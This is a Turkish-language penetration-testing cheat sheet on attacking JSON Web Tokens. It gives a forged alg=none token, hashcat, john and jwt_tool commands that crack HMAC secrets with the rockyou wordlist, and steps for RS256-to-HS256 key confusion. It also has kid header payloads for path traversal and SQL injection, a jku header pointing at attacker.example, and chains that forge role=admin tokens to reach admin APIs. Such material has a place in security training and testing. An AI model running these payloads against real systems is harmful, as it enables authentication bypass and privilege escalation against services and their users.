Skip to content

JWT Saldırıları

OWASP A07 difficulty: orta

JWT (JSON Web Token), imzalı/şifreli oturum belirteçleridir. Yanlış imza doğrulaması, zayıf sırlar veya algoritma esnekliği; token sahteciliği ve kimlik atlatmaya yol açar. Analiz için JWT Inspector kullan.

Yapı: base64url(header).base64url(payload).signature

{ "alg": "HS256", "typ": "JWT" }
{ "sub": "123", "name": "Ada", "role": "user", "exp": 1710000000 }
# {"alg":"none"} / "None" / "NONE" / "nOnE"
# İmza boş; sondaki nokta kalsın
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Terminal window
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
Terminal window
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
Terminal window
jwt_tool <token> -C -d rockyou.txt
Terminal window
jwt_tool <token> -T -S hs256 -p 'secret'

Sunucu asimetrik doğrulama beklerken saldırgan public key’i HMAC secret olarak kullanıp HS256 imzalar.

  1. Public key al — /jwks.json , /.well-known/jwks.json , TLS cert, kaynak:

    Terminal window
    curl https://hedef/.well-known/jwks.json
    Terminal window
    jwt_tool <token> -X a
  2. Header’ı HS256 yap , payload’da role=admin değiştir.

  3. İmzayı public PEM ile HMAC-SHA256 üret — kütüphane pubkey ile verify ediyorsa token kabul edilir.

{ "alg": "HS256", "kid": "../../dev/null" }
{ "alg": "HS256", "kid": "/proc/sys/kernel/randomize_va_space" }
{ "kid": "key1' UNION SELECT 'aaaa'--" }
{ "alg": "RS256", "jwk": { "kty":"RSA", "n":"...", "e":"AQAB" } }
{ "alg": "RS256", "jku": "https://attacker.example/jwks.json" }
Terminal window
jwt_tool <token> -I -hc kid -hv '../../dev/null' -S hs256 -p ''
Terminal window
jwt_tool <token> -X s
Terminal window
jwt_tool <token> -M at
□ exp / nbf / iat kontrol edilmiyor → süresi geçmiş token
□ aud / iss doğrulanmıyor → başka uygulamanın token'ı
□ role / admin / isAdmin → yetki yükseltme
□ jti / replay — logout sonrası hâlâ geçerli
□ Nested JWT / JWE yanlış katman doğrulama
□ typ / cty karışıklığı
Terminal window
jwt_tool <token> -I -pc role -pv admin -S hs256 -p 'known'
1) Decode (Inspector) — alg, claim'ler
2) alg=none (+ case)
3) HS secret brute
4) RS→HS confusion (JWKS varsa)
5) kid / jku / jwk
6) Claim oynama + geçerli imza ile yetki
7) Refresh token / cookie flag'leri
□ JWT cookie'de HttpOnly değilse XSS ile çalınır
□ localStorage JWT → XSS = hesap
□ Authorization: Bearer log/proxy sızıntısı
□ Alg header istemciye güvenilerek seçiliyorsa confusion şansı yüksek

hashcat · JWT crack

embedded tool
Generated command
hashcat -m 16500 jwt.txt rockyou.txt
jwks.json → RS256
→ jwt_tool -X a (confusion)
→ role=admin token
→ admin API
hashcat 16500 → weak secret
→ forge any user sub
1) JWT Editor / jwt_tool ile decode
2) Signature strip (none) → Repeater
3) Secret brute (kısa wordlist) → re-sign role=admin
4) JWKS URL → confusion otomatik
5) kid=../../dev/null + empty HMAC